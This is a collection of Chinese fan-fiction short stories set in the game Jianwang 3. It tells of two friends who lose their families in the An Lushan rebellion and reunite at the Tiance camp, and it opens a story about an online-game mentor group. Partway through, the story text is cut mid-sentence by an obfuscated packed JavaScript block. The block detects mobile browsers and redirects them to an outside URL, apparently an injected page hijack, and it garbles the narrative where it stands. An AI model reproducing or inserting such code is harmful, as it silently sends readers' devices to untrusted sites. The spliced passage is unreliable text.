《剑网三短篇合集》 2. 今日殊途何时归 龙门那地方,多的是江湖儿女无牵无挂,裴在想整个大唐最自由的人或许都在那了。 两人在龙门客栈住了半个多月,离开时曾指导过他们的侠士高举酒杯为他们送行,有人浑水摸鱼喊着“一定要去天策/万花/丐帮/纯阳/苍云/……啊!” 总之除了七秀,几乎每个门派都有侠士哄他们去,连少林的大师都想哄着他们去当和尚啊! 离家快三年,虽然有书信来往,到底还是想家了,于是他们没有再往南诏去,而是踏上了回洛阳的路。 路过长安,他们没来得及欣赏长安的壮阔繁华,便策马扬鞭直冲洛阳而去。 安禄山反了,洛阳沦陷。 一路上,他们看到无数百姓流离失所,哀号遍野。 赶路至洛阳,到处都是尸体,连地上的黄土都被鲜血染红发黑。 两人心头发凉细细看着每一具尸体,生怕看到熟悉的脸。 离洛阳城越近,场景便越发惨烈。 李牧云只觉得自己浑身的血液都凝固了,他们驾着马,越跑越快越跑越快,离洛阳城城门只剩下两三里路时,一个衣衫褴褛的人从路旁冲出。 李牧云拉紧缰绳,终于在那人面前停了下来:“你做什么!” 他大喊,裴在骑着飞扬堪堪跟了上来,伸手摁住李牧云,仔细观察着那人:“张叔?” 他翻身下马,将男人扶了起来。 裴在搀扶着那人到了树下,给了他水和干粮,安静地蹲在一旁,等男人填饱肚子。 李牧云格外焦躁不安,他想去找人。 裴在只是拉着他,在他握拳的手上拍了拍,以示安抚。 张叔狼吞虎咽地吃完了麦饼,李牧云立马问道:“张叔,你有没有见到我爹娘?” 张叔听到这话,眯着眼睛看他,良久,指着他震惊道:“你是李牧云?” 他又看向另一人:“那你就是裴在了!” 二人连连点头,期盼地看着男人。 “都死了啊!”张叔突然哭喊起来,声泪俱下,“全都死了!狼牙军进了城,烧杀抢掠无恶不作,城里都没有几个活人了!我也就是在狼牙军进城前一天给城外庄子送货才碰巧留下一条命啊!” “都死了?我爹娘也死了?我哥哥也死了?”李牧云喃喃自语,一甩手,“不可能,这不可能,他们不可能死!他们都会武功,一定能逃出来的!” 张叔道:“我也以为我的家人能逃出来,可我守在这那么久,只有狼牙军推着一车车尸体送去乱葬岗,根本没有人活着出来!” 裴在沉默着,李牧云走向飞云,嘴里一边念叨着“不可能”,一边就要上马往城中走。 张叔爬起来,拦到他前头,道:“走吧,李牧云,你和裴在赶紧走吧,远离洛阳,这城外尚且能活,进了城那可是一整座城的狼牙军,你这不是去送死吗?” 李牧云眼睛通红,拉着飞云拐了个弯,绕开他:“我一定要去,万一他们还活着呢?我能救他们出来。” “你如何救得人出来!你没见到狼牙军是怎么杀人的,你没听到过城里的惨叫声,你根本不知道那是一群多么凶狠的人!”张叔冲他喊,见他骑着马头也不回地向前走,一拳锤到树上,只得扭头去看裴在,却见那人也上了马,“裴在你也要去?” 裴在点头。 “自作孽不可活啊,自作孽不可活啊!” 裴在不知道该怎么回答,在原地留下一袋干粮,追着李牧云的背影而去。 两人找了个地方将马儿藏了起来,徒步走向了洛阳城。 洛阳城守卫森严,两人在城外蹲到圆月高升方才找到机会溜进了城。 一路躲藏着回到家中,曾经被家人打理精美的院子已经破败不堪,连院墙边的小树都被砍断,好些狼牙军在里面燃起篝火,喝酒吃肉。 “哎,这两家可是硬骨头,老老实实把金财都交出来多好,杀他们可废了不少力气。” “连乳臭未干的小屁孩也敢拿刀砍老子,哼哼,他砍我一刀我便砍他一条手臂,哎呦,哭得那叫一个惨啊。” “哈哈哈哈哈还是你厉害!” “……” 李牧云听着家人身死的经历,浑身发抖,他只觉得耳边嗡鸣,提起长枪便冲了进去! 裴在冷着脸,紧跟其上。 两人在外游历多年,遇到的危险不计其数,又在龙门得了各派侠士指导,武功早已不同往日,很是轻松地便将这些喝得神志不清的狼牙军剿灭。 两人站在尸体中央,恍惚着不曾回神,便听到一声凄厉刺耳的哨声,紧接着外头响起了杂乱的脚步声。 裴在心头一紧,拉着杀红了眼的李牧云便要逃,他们踩着轻功上了房顶,在房顶上飞跃狂奔,忽然,一只羽箭自远处飞来,裴在闪躲不及被射穿左肩,当即脚下一个踉跄。 李牧云伸手捞住他,远处又有羽箭射来,他立马打横抱起了裴在跳下屋顶,钻进了错综复杂的小巷里。 小巷逼仄狭窄,李牧云一手拿长枪,一手拉着裴在,脚下步伐丝毫不敢停歇。 只是裴在受了伤,两人目标又太大,许是高处一直有人报信,他们被包围了。 李牧云咬咬牙,挥舞着长枪向前杀去,他们不能留在原地,裴在受了伤会被拖死的! 李牧云一直将裴在护在身后,可寡不敌众到底是漏了人,裴在虽然也会武,可肩上伤口拖累,他实在难以全身而退,身上伤口也越发多了起来。 身上到处都是刀口,衣服被血染红,连手上的力气都在变小,裴在握剑的手紧了紧,冲李牧云说:“你快些走!我给你断后!” 李牧云如何能愿意,他带着裴在回来,怎么能留他一个人在这? 他总是很冲动,裴在却从不指责他,只会跟着他,帮他做一切他想做的事,小时候是这样,长大后也是如此,他怎么能舍下他? 李牧云只当没听到裴在的话,固执地站在他背后。 “李牧云,走啊……”裴在嗓子都哑了,失血过多连说话都快没了力气,他没看李牧云,一滴血流入眼睛又从眼底滑落,看起来他像在哭。 “我不走,在哥,我不走。”李牧云摇头,控制不住地哽咽。 “非得死这才甘心吗!?”裴在吼他。 李牧云长枪再次刺穿了一人,固执地不愿意说话。 “哟,这是谁啊?”一个声音响起,抬头看去,竟是李系站在高处,他依旧一袭红嫁衣,三年过去他连长相都没什么变化。 李牧云瞪大了眼睛,心头一阵狂喜。 “这么狼狈呀小屁孩~”李系飞身而下,一左一右搭上两人的肩膀,笑嘻嘻的。 裴在闷哼一声,李系歪过头来,看到他肩膀上那只断箭,连忙撒了手。 “怎么这样了?”他问。 李牧云像个小孩一样立马告状:“是这些狼牙军伤的!” 李系又凑到李牧云那边,笑道:“哦~那这次要我帮忙嘛?” “要!”李牧云立马回答,生怕慢了一秒他就反悔,“你想要什么!等出去都给你!” 李系眼睛一亮,拍了拍李牧云当即肩膀:“还得是你,上道!” 青年把两个人都扒拉到身后,双手结印,身后缓缓出现五把蓝光飞剑。 纯阳紫霞功武学万世不竭! 两人三年前被这一招震惊,三年后依旧看得挪不开眼。 李系风轻云淡地解决了面前的狼牙军,和三年前一样,一左一右提着两人出了城。 李牧云取出藏起来的包裹,塞到李系手中,小心翼翼地给裴在处理伤口。 此时的裴在已经嘴唇发白、眼前发黑了,还抓着李牧云的手嗫嚅着嘴巴。 “什么?”李牧云凑上前。 “石头。”裴在声音又缓又轻。 李牧云却是听清了,连忙跑到李系面前,翻包裹拿出了一块半个拳头大的心形石头,这是他们在三生石下捡到的,裴在很喜欢这块石头。 他将石头塞到了裴在手中,他终于放心地昏了过去。 …… 裴在在养伤,李牧云照顾着他,那个奇奇怪怪一身嫁衣穿了三年的纯阳弟子李系早就离开了,不知道去了哪里。 此时两个人都很消沉,李牧云翻看着三年收到的信件,时不时伸手抹一把眼睛,裴在想像以前一样拍着他的脑袋安慰他,可他身上全是伤,躺在那有心无力。 又过了几天,裴在身体好些了,李牧云才和他说:“在哥,我想去天策。” 裴在依旧没什么力气站起来,他坐在那,脸色瞬间便冷了下来:“不行。” “为什么?”李牧云着急,“不去天策我怎么去报仇?安禄山反叛,狼牙军肆意屠杀天下百姓,我看不下去。” “李牧云,我不想你死。”裴在看着他道。 “我可以死!只要能救人。”李牧云反驳。 “我不想你死!谁都可以死,你不能死!李牧云,只有你了。”裴在声音带着些强装镇定的颤抖。 “那其他人怎么办呢?我练武是为了明哲保身吗?我曾经想去江湖,想当大侠,可是当大侠连自己的家人都护不住。是不是只有去天策,才能救人呢?”李牧云难得露出了几分迷茫。 “那不重要。” 李牧云愣住:“什么不重要?百姓吗?还是说你我两家人的死不重要?” “如果是和你的命比,那些的确都不重要。”裴在冷声说着,扭过头不敢看李牧云的眼睛。 “你在说什么呢裴在?”李牧云声音很轻,他扯着裴在的衣领,问,“你知道你在说什么吗?裴在。” 裴在被迫对上了他的视线,他眼神越发冰冷,一字一顿:“我知道我在说什么,李牧云,那都不重要!” 李牧云抖着手,觉得自己好像是第一次认识这个人,他张嘴:“裴在,我一直都知道你冷心冷情,可那是你的爹娘!那是你的兄长姐姐!那是你裴家七条人命和我李家十三条人命!死的人里甚至还有才出生半年的婴儿,你怎么能一点也不在乎?你不想为他们报仇吗?你怎么能当懦夫呢?” 看到裴在震惊而受伤的眼神,李牧云发觉自己说错了话,他抖着松了手,他想说些什么弥补,却再次听到了裴在的声音。 “我不想你死,我可以不在乎,我可以不报仇。” 李牧云气得脑袋发晕:“你怎么能这么说呢?裴在,我真是疯了才会把你当兄弟。” 李牧云红着眼,他觉得自己疯了,他好像在说着各种伤人的话,可他听不清自己在说什么,他只能看到裴在越发狠厉的黑眸。 “不要说了,李牧云!快闭嘴!” 有人在他耳边大喊,是谁呢? “你一直是这么认为的?”随着裴在苍白的嘴唇张张合合,熟悉的声音响起,听不出任何情绪。 不是,我没有。李牧云想说,我没有这样想,我只是一时激动,我不知道为什么我会这样说。 可耳边什么声音也没有,他张着嘴,发不出任何声音。 长久的沉默中,裴在眼眸逐渐蓄满了泪,李牧云伸手,一滴泪穿过指缝,重重砸在地上,他握拳,什么也没抓住。 他失神地看着他的在哥,张嘴想说些什么,视线猛地下沉,裴在的面孔上是格外明显的惊慌。 怎么了? …… 李牧云醒来时身边只剩下了飞云,裴在和飞扬全都不见了身影。 “在哥?”李牧云喊,没有人回答。 他爬起来。 “在哥!” “在哥!” “在哥……” 李牧云红了眼眶。 “哟,醒了?”那道吊儿郎当的声音又响了起来,李系坐在不远处的树上,晃荡着腿。 李牧云冲他跑去:“李大哥,你看到在哥了吗?我找不到他了。” 他站在树下,仰头看,眼中有微弱亮光。 “裴在啊,我把他送去万花谷了。”李系道。 “为什么?在哥不要我了吗?我让他生气了。”李牧云眨眼,蓄了许久的泪终于落了下来。 “生气嘛确实生气~”李系还开着玩笑,低头见李牧云哭得那叫一个梨花带雨,愣了愣,从树上跳了下来,“不是不要你啦,就是他伤没好,晕得突然,我又不会治病,才给他送去万花谷的啦。” “他没有怪你啦,我走的时候他还在说让我帮着照顾些你,他好了自然就来找你了。当然,你想去万花谷找他也行~”李系快速说道。 李牧云得了话,便冷静下来:“不去万花,我要去天策。” “哟,不要你的在哥了?”李系还是那副笑眯眯的模样。 “在哥要,天策也要去。”李牧云说。 “行吧,走?”口哨声一响,李牧云抬头便见这个纯阳已经上了马。 嗯?哪来的马? …… 李牧云自带里飞沙,武功也算不错,理所当然地进了天策,出了新兵营后甚至得了个小队长的身份。 很快也参加了几次战役,虽然时有受伤,却都能保下一条命。 他三天两头便去信使处寄上一封去往万花谷的信,不曾间断。 远在万花的裴在收到信便会细细写一封回信,与之同去的,是他在万花谷做的所有伤药,他总是担心着他。 当年他在万花醒来,第一反应便是回去找李牧云,可万花弟子拦住了他。 进了万花谷的伤员,怎么可能随便离开,毕竟事关他们万花的名声好不好啊!更何况这人还是李系送来的,那可是他们万花谷最贵重的客人,连谷主都被他救过,他送来的人不治得健健康康的怎么可能让他走! 后来裴在可以离开了,万花又闭谷了,他又被困在了这谷中,里面的人出不去,外面的人进不来,只能眼巴巴地等着天策的来信。 再后来,有归谷的万花侠士认出了他,牵绳搭线让裴在入了万花,没想到他武功不太行,医术这方面的天赋还不错,有人收他为徒,倾囊相授。 直到有一次,将近一个月裴在都没再收到天策的来信。 裴在第十次从信使那儿空手而归后再也待不住了。 他回到住处便开始收拾行李,留下一封写得密密麻麻的信,从马厩牵出了飞扬,独自一人踏上了寻找李牧云的路。 在茫茫大地寻找一个人何其困难,他四处打听,才知道前段时间天策府的将士们参与了很多场战役,每一场都极为惨烈,死伤众多。 可李牧云的讣告并没有传来不是吗?他定然还活着。 裴在想起了曾经在龙门客栈听说的故事,有人说每一个天策都是从阳光灿烂的少年变成一捧小小的盒子都装不满的灰。 从此之后裴在便不想再让李牧云去天策,他不想失去李牧云,他不想看到一个小小的骨灰盒。 可是他能怎么办呢?他从来没有管住过李牧云,李牧云是个有打算的人,从小就是,他会听他的话,可意见相左时他从来没有让他改变过主意。 裴在会生气,可李牧云总是在笑,他一笑,裴在就消气了,人生苦短,何必和他置气呢? 李牧云长着一张好脸,看着聪明,其实是个傻的,明知道是送死还要去,不让他去还生气,死小孩。 裴在暗自骂着李牧云,脚程确是一点也没慢下来。 他一点弯路都没走,直直地往天策去,在辽阔疆域茫茫人海找一个人可谓是海里捞针,裴在只能寄希望于李牧云在天策,或许是手受伤了,没法给他写信,或许是和他一样被同门关着,不准瞎走动,他一个人,不分白天黑夜地赶路,只能靠胡思乱想压下心中那些糟糕的想法。 裴在一路上碰到了很多人,有人受伤有人生病,他总是会停下来,给他们撒上伤药包扎好伤口。他自认为自己是个淡漠的人,可万花谷帮他良多,既然入了万花谷,穿着一身万花的衣服,便该做些万花弟子该做的事,治病救人,医者仁心,这是那位为救世引蛊入身而仙逝的孙爷爷教会他的。 每救一个人,裴在便会留下一幅画像,气宇轩昂的少年人,桃花眼,眉间痣,虎口上还有一道梅花胎记。 其实裴在也不确定李牧云现在还长不长画像上那样,毕竟军队最是磋磨人,每天风吹日晒还得穿着副几十斤的盔甲,说不定他瘦了黑了,从白白嫩嫩的公子哥成了糙汉子了。 裴在想着不由得笑出声来。 他想过李牧云会变,却从未想过自己会认不出来李牧云,他们从出生就呆在一起,穿着一条裤子长大,他们相识二十二年,相伴二十年,无论李牧云变成什么样子,他都能认出来。 只要他能见到他。 李牧云日夜兼程赶到了天策府,他拿出了李牧云的画像,向守门将士打听他。 守门将士对视一眼,一人问道:“阁下可是裴在?” 裴在一愣,点头。 守门将士:“太好了!李校尉没收到你的信,每天念叨你呢!” 他招呼了一个小兵,道:“李校尉应该在外头阿飞常呆的山坡上,让这位小将士带你去吧。” 原来李牧云战场上重伤,他那匹千里马飞云将他从死人堆里驮了出来,李牧云昏迷半个多月,一醒便挣扎着爬起来,吵着闹着要给在哥写信,极其头铁地挨了军医一顿骂,终于写出了一封鬼画符似的信,托人寄了出去。 可送信的人去了又回,李牧云却没收到信,一打听才知道裴在早离开了万花谷,李牧云垂死病中惊坐起,想要去马厩牵飞云,军医和将士怕伤了他,三个人围着他苦口婆心劝都没能拦得住,结果他自己一通挣扎,刚结痂的伤口全裂开了,连门都没出去便腿一软,又倒了。 被人抬着扔回病床上的李牧云睁着大眼睛看空无一物的屋顶,听着军医在耳朵边上骂他,生无可恋。 出又出不去,李牧云终于老实下来,在伤兵营把药当饭吃,只盼着早日康复去找他的在哥。 一晃,一个月过去了,李牧云伤好了很多,李牧云下得了床却拿不起枪坐不上马,他总是坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189303|181054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天策府前的山坡上,抚摸着某只小队唯一幸存的队员——名叫阿飞的大黄狗。 阿飞等着他想念的人,李牧云眺望着远方,和它念叨着自己挂念的人。 裴在最容易多想了,这些天他每天都往信使那投一封信,可是无一例外的,没有回信。 在哥应当是往天策府来了,飞扬却只是普通的小马,它没法像飞云,日行千里,可算算时间,也该到了。 “李牧云!” 养伤这一个多月,李牧云在天策府晒黑的皮肤又捂白了,他想着裴在,刚哭过一遭,此时眼睛还红着,听见有人喊他,伸手抹了一把眼睛,又抓了抓头发让它垂下来遮住眼,回头却见到了日思夜想的人。 “在哥。”他喃喃道,一把把头发撩上去,又揉了揉眼睛,鼻头一酸就要流泪。 眨眼的功夫,裴在一巴掌从他头顶呼过,李牧云瞬间愣住了,又听那人语气僵硬地问他:“活着怎么不报个信?” 李牧云当即红了眼眶,嚷嚷着:“我天天去信!是你找不到人!每一封信都退回来了!” 身后的将士也帮腔道:“李校尉确实去了信的。” 又补充:“每天都去,老是往人家信使面前一蹲,害得人老是来找我们营告状。” 李牧云权当没听到后面半截,只当有人撑腰当即强势了起来:“你看吧!在哥你真是好不讲道理!” 李牧云手舞足蹈,脸上的笑意突然僵住。 一滴泪砸落在地上,激起几丝尘埃,是裴在的。 裴在此人,少年老成,李牧云记事起几乎没见他哭过,只有那一次他们争吵,而他没控制住,说出了那样伤人的话。 从不流泪的人眼泪是剧毒,轻飘飘地便能杀死青年所有的不忿,李牧云反手给了自己一巴掌,他觉得自己真不是东西。 他抖着手,举起又垂落,看着裴在无声无息瞪他,看着裴在落泪可耻地红了脸,他站的高,便蹲下去,半跪在地上抱他:“在哥,是我错了,我该早些醒过来的。对不起,在哥,我让你担心了。” 裴在的眼泪很烫,隔着衣裳烫到他的心底,气血上头的李牧云几乎没法思考,只抱着裴在将自己的脑袋贴上了他的脖颈,蹭了蹭,细细碎碎地说话,嗓音轻柔地哄着他的在哥。 带路小将士哪见过这种场景,觉得有些尴尬,红着脸悄然退走了。 裴在哭够了,冷着脸伸手去推他,却听李牧云闷哼一声,捂着肩膀坐在了干草上。 裴上前在给他检查伤口,李牧云却躲躲藏藏,裴在扬起手想扇他,却见了他衣领处露出来的绷带,到底没落下去。 “你做什么?”他问。 李牧云哼哼唧唧:“在哥我难受,你等等。” 裴在一听急了,伸手去扒他的衣服,好嘛,那绷带上连个红血丝都没有,他又去拆,伤口看起来狰狞却是好好的,连结痂都微微翘起,瞧着是快掉了。 裴在面无表情。 李牧云抬头,咧开嘴露出八颗牙 嘻嘻。 裴在瞪他。 李牧云连忙拉下嘴角。 不嘻嘻 裴在再次伸出手李牧云也不敢拒绝了,老老实实顺着他的力道站了起来。 军营里衣服都是发的,短衣遮不住李牧云身下怪异的凸起。 裴在倒吸一口凉气,脸色极其难看:“你怎么回事?” 李牧云自知理亏,嗫嚅半天说不出话来。 裴在好几天没睡,乍一眼看到李牧云对自己起了反应,脑袋都气晕了,他看着长大的弟弟,对他做出了这般行为?对他产生了这种心思? 手痒了,想扇。 二人在那土坡上磨蹭许久,这么久未见他们本该有说不完的话,偏偏这李牧云脑子不清醒,害得他们的重逢都蒙上了一层阴霾。 裴在在天策府留了下来,万花出身,又练过武精力充沛,他在伤兵营很快上了手,帮着军医们照顾着那些伤员,此时的裴在无比庆幸,自己一日未曾懈怠,好歹在万花学了些真东西。 裴在忙得很,又记着那天的事,一直不怎么愿意搭理李牧云,这人也不知是养伤憋久了还是怎么,无时无刻不缠着他,像他们多年前在龙泉府见到的那只小哈士奇。 伤兵营每天都有人进来,李牧云想着搬出去给人其他将士让位置,军医同意了。可出了伤兵营他也没法练武,没法回队伍里去,李牧云又是个闲不住的,便跟在裴在身后打下手。 作为校尉,李牧云在天策府有一个小小的,只属于他的房间,他跟营队的人打了招呼,又去缠着裴在,说营地住处有限,死乞白赖地求着他和他一块住。 裴在无可奈何,虽然同意了,却总是打着地铺,不愿意上床,每天晚上也会单独看看他的伤势恢复得如何,不说话却上心得很,李牧云很是开心,只是这个时候的裴在总是会沉默些。 可李牧云不在乎,他向来脸皮厚,多年的分别让他无比珍惜和裴在相处的时间,裴在不理他他也能自得其乐,更何况,裴在不是还愿意和他住一块嘛,虽然是打地铺。 也许是心情不错,李牧云的伤口恢复得很好。 日子平淡而充实。 直到有一天伤兵营接连死了好几位将士。 裴在那一整天都没说过话。 战争残酷,这个时代的人对此很有感触,裴在在万花谷呆过后,不知为何就变得多愁善感起来,那天晚上,他难得和李牧云多说了几句话。 来来去去都是说让他上战场时小心些,求他别死。 他看得出来,李牧云喜欢这里,在洛阳时他就没能拦住想进天策的李牧云,如今又怎么可能把他从天策带走? 李牧云想留在这便留在这吧,他也会留下来,只要有一口气,他总能将他救回来,在万花学医不就是为了这个吗? 裴在有些发愣,李牧云伸手从他的衣领中抽出了挂在颈间的平安符,那是当年在龙泉府的石佛寺求的,他将裴在的平安符与自己颈间的平安符贴在一起,说:“我们是被保佑的,我们能活下去的,在哥,我不会死的,这次那样凶险我都活下来了,或许就是它在保佑我呢?” 裴在鼻尖一酸,他觉得自己一辈子的泪都要在天策流干了,于是他问李牧云:“你来天策时哭过吗?” 李牧云本来想嘴硬,对上他哥的目光却怎么也说不出口,老老实实说道:“哭过的,在哥,我每天都哭,练功练得浑身疼我哭,比试输了我哭,上战场杀人了我哭,回来发现认识的将士死了我也哭。” “你从来没和我说过。”裴在想起那些信,字字句句都是在说天策如何如何好,方才说的这些却从未见过,李牧云报喜不报忧。 在哥!今天将军教了我们天策的奔雷枪法,我学得可好了!等回家我耍给你看哇! 在哥!今天比试我大获全胜!我跟你说啊!我左勾拳右勾拳打得其他天策小将那叫一个哭爹喊娘,我们教习都说我是难得一见的天才呢!嘿嘿,他们不知道我以前就偷偷学过。 在哥,教习说我们都出师了,过不了多久我们就该上战场了,你瞧着吧!我到时候在敌军营里七进七出身上不沾一滴血!我可是傲血天才! 在哥,今天除夕!我们营里包了好多纯肉馅的大饺子,我一个人吃了三十个!我从来没有吃过这么好吃的饺子,等以后我跟炊事班的掌勺大厨学会了包给你吃啊! 在哥…… 那些信里的内容他几乎都能背得下来,可他为什么不怀疑一下呢?明明知道李牧云是个长不大的孩子,明明知道他一生从未离开过他,当时怎么就舍得让他一个人去受苦呢? 裴在皱着眉,眼中蓄满了泪,他伸手去摸他的脸,颤抖着,心痛到无以复加。 “你看看,我就是知道你会这样嘛,我就知道你会心疼我。”李牧云撅嘴,嘟嘟囔囔地吐槽,嘴角却带着怎么也压不下的笑意。 他心虚地去看在哥,鬼事神差地伸手去擦他的眼底。 若是往常,裴在早就一巴掌呼过来了,哪里会放任他做出这样的行为,可今天裴在只是看着他的动作,轻轻闭上了眼。李牧云眼睛一亮,一手撑着床,俯身上前,温热的吻落在他的眼睛上,裴在睫毛颤了颤,伸手抱住了李牧云。 李牧云轻笑出声,裴在也浅浅笑着,捧着他的脸,吻了上去。 李牧云是个傻子,胆子也小,他都那般默许了居然还不敢亲他。 向来迟钝的裴在突然福至心灵,想起曾经种种,笑着喊他:“李牧云。” 李牧云睁开眼,嘴唇也裴在亲得红肿水润,他眨巴着眼睛,瞧着还在发懵没反应过来,下意识回答:“嗯?” “胆小鬼。”裴在伸手捏了他的脸。 果然瘦了。 李牧云不服气,吱哇乱叫:“谁胆小鬼?我哪里胆小鬼了!我一点也不胆小好吧!” 裴在看着他,眼中满是笑意。 生老病死四字,世间无人不惧无人不怕。 若能与相爱的人一同面对,倒也没那么可怖了。 3. 春日来信(师徒cb向 要怎么样你们才会回来呢?咩萝总是这样自言自语。 祁乐有全剑三最好的师门,师门人很少,算上她也只有三个人,好在师父是个e人,所以祁乐从来不缺人带她玩。 可是有一天,师父不见了。 凌晨一点半,祁乐结束末班车从绝境战场传送出来,大家在yy互道晚安齐齐下线。 等yy里的人都走了,祁乐才双手离开键盘瘫在椅子上,好累…… 祁乐还是小白的时候,社交圈子只有师父和师兄,那时她的师父和她说:“小乐要去认识新的亲友呀!” 她很认真地履行着师父的话,作为一个i人,祁乐有很多很多的亲友,这几年她花了很多时间在游戏上,为了维持和其他人的亲友关系。 曾经的祁乐不管玩什么都只会等着师父组人,自己在yy听着她们说话聊天,独自乐呵,而现在的祁乐会组人,会活跃气氛,如果有人认识小白时期的祁乐,那她们一定看得出来当年的社恐小孩变了很多,她越来越像那个消失了三年的花姐。 祁乐交了周常,站在侠客岛战场区发呆,其实她最喜欢的主城并不是侠客岛,而是那再也不会回来的老成都。 成都更新后,祁乐再也没去过那,那一次更新把她熟悉的城市夷为平地,让她再也没法站在成都的房顶上回忆那些离开的人,祁乐讨厌新的广都镇。 房间关着灯,只有电脑闪烁着光,时不时有花里胡哨的侠士从咩萝身边跳过,这个穿着雪河套的咩总觉得自己和这个江湖格格不入。 祁乐叹了一口气,正准备退出游戏下线睡觉时,电脑里突然传来清亮的男声:“融融。” “师兄。”祁乐眼睛一亮,会叫她融融的只有两个人。 “哎呀~新鲜小羊,你想玩这毁天灭地的紫霞功呢,还是想玩这天下无敌的太虚剑意呀?” 那是祁乐第一次去yy,社恐还很严重的咩萝半天没敢说一句话,好在师父是个话痨吗,自己一个人也能说个不停。 师父是个花姐,那时候剑网三还没出太多外观,花姐一身秦风校服如同隐世医者,温婉得不得了。 可惜,这是个花椒油,还是个喜欢骚世界、热衷于给人起外号的花椒油,彼时祁乐又内耗又自闭,没有第一时间去回答花姐的话,而是激情敲打百度,气纯和剑纯到底是什么! 没得到回答花姐也不着急,盯着小羊的ID碎碎念:“祁乐,其乐,其乐融融!那以后我就叫你融融吧!” “所以融融你想玩什么呀?”花姐的声音轻柔舒缓又带着笑意,和她的建模简直一模一样。 善用百度的祁乐被蓝光剑仙帅了一脸,当即开口:“我想玩气纯!” “好气纯!正好你师兄可以教你!”花姐一拍桌子,碎碎念开始打字,“大徒弟!速来yy!” 祁乐愣住,很快一个橙马进了yy。 “师父,什么事?”这是一道很好听的男声。 “李系李系!快看!本宫捡的小咩!以后她就是你的小师妹啦!你可以叫她融融!”花姐热情地介绍着祁乐。 “呃……”被起了外号的小咩直到这时候才反应过来,自己有了个新名字。 被叫做李系实则ID为李是的道长并没有表现得很开心,他的声音沉了些:“师父为什么要收新徒弟?” 祁乐敏锐地察觉到了来人语气中的不喜,握着鼠标的手紧了紧,连呼吸都屏住了。 “想收就收了呀~”花姐笑意盈盈。 李是沉默良久才说道:“为什么师父不能只有我一个徒弟呢?” “?”祁乐愣住,这对话他不对劲吧! 果不其然,方才还笑意盈盈的花姐变了脸,冷声道:“李是,我从来没有说过只收一个徒弟吧?把你的雏鸟情节收一收。” yy里师徒二人说着话,真小白祁乐劈里啪啦打字:雏鸟情节是什么? 一番了解,小咩眼睛亮了起来。 那天师徒二人不欢而散,祁乐缩在yy一直没敢出声,那时的小咩一度以为家里这只大咩会因为对师父的占有欲讨厌她,毕竟师父是真的很好,如果她是李是,她也会想要师父只有她一个徒弟。 祁乐很能理解师兄的感受,也明白师兄不喜欢她,很久很久她都不敢主动和他说话。 事情的转变是在她和师父加了联系方式,暴露了自己正在上高一的事。 师父知道了,师兄知道了,在师父牵线下带她一起玩的亲友都知道了,yy里,每进来一个人都会惊叹,咩萝竟是真萝莉! 祁乐觉得自己像动物园的猴。 而另一个人,也就是道长李是,沉默地呆在yy,沉默地被所有人嘲笑,他居然和一个小孩吃醋置气? 一直别扭着不同意带着师妹打33的李是第二天便和切了奶花的花姐带着萌新祁乐冲进了竞技场。 李是是个pve气纯,被迫切了平生最痛恨的剑纯,带着一身pve气纯装进了竞技场。 只是因为师父吵着闹着想打剑气花,而小师妹被蓝光剑仙四个字迷了眼,死活不愿意切剑纯,李是愧疚于自己早些日子对祁乐的敌意,只得认命切了心法。 一个第一次切离经的花间,一个痛恨剑纯却不得不玩剑纯的气纯,一个连技能都没认全的真小白,师门三人勇闯竞技场,转头被官方脚本打了个屁滚尿流。 回到成都,yy里很是沉默,直到祁乐没忍住笑出声来。 花姐给咩萝塞了个糖葫芦。 “谢谢太阴阿姨!” 花姐歪头,再塞。 “太阴阿姨对我最好了!” 再塞! “太阴阿姨是好人!” …… 花姐,卒 是的,花姐ID叫:好山河我太阴,她的两个老实徒弟与她格格不入。 “为什么我一直在说话?”小咩好奇,小咩发问,“太阴阿姨是谁?” 花姐沉默,屏幕上的咩萝喊得更欢了。 直到出现一句:“太阴姐姐对我最好了!” 花姐心满意足地收了手。 yy里传来一声轻笑。 下一瞬,道长身前出现了一面旗子。 好山河我太阴:我观阁下英姿勃发,可敢与我一战? “不至于吧师父。”师兄的声音响起,带着很明显的笑意。 他这样说着,还是点了确认。 李是:某身经百战,从未避战! 人来人往的成都,一身驰冥的道长站在那,负手背剑于身后,身前的花姐气势汹汹! 11111……yy里响起了噼里啪啦的键盘声,屏幕里的秦风花姐欢快地给自己刷着提针。 得,没换心法。 “等着哈李系,为师换个心法!”花姐大喊,站在原地开始读条。 祁乐不知道这是在做什么,小孩第一次玩网游,看什么都有意思,从不觉得无聊,咩萝一会挂扶摇一会梯云纵,绕着两人跳来跳去。 变回花间的花姐挂了三毒,一个玉石俱焚,道长:卒。 好山河我太阴:哎,无敌最是寂寞! “哼哼,小李系,还敢嘲笑为师不?”花姐说道,开始跟着咩萝满地乱蹦。 电脑前的小羊笑眯了眼。 花姐每天准时上线,一呆便是一整天,于是在剑网三里上班还不是一个梗的时候,师兄妹两人便一致认为她们的师父在剑三里上班,时常发出感叹:剑网三有花姐真的是它的福气。 花姐很喜欢截图,三星望月,三生树,映雪湖,油菜花田,几乎所有风景党推荐过的地方她都带着两个徒弟去过。她们三个有一个群,群相册里堆满了师徒三人的合照,花姐总是说:“我们是全世界最要好的剑气花!” 是的,李是这个pve气纯,在师父的压迫下成了pvp剑纯,并且炸了无数次祁乐的山河。 如果不是师兄菜得令人发指,祁乐真的会怀疑他在公报私仇。 可那是祁乐的剑三生涯中最快乐的一段时光,没有争端,没有分别,连劫镖的争吵都与她们毫无关系。 那时候祁乐要上学,总是周末才能上线,她偷偷带着手机,缩在宿舍的被窝里,挂在师父的yy,听大家聊天扯皮,她们的聊天并不局限于剑网三,大部分时候都是起承转劝学,另外一小部分时候便是慢慢等着yy里人变少,直到只剩下师徒三人。 师兄的声音很好听,她知道,师父知道,师兄自己也知道,每当这个时候师兄便会献宝一样在yy里轻声哼着歌,祁乐觉得他是故意的。 这个年龄段的小孩总是心思细腻,在静谧的宿舍,耳边只有轻柔的歌声,她很容易听出其中暗戳戳的情意,她想,师父一定也能听出来,只是她想不明白,为什么师父总是对此避之不谈。 祁乐觉得自己不该插手,便也没问。 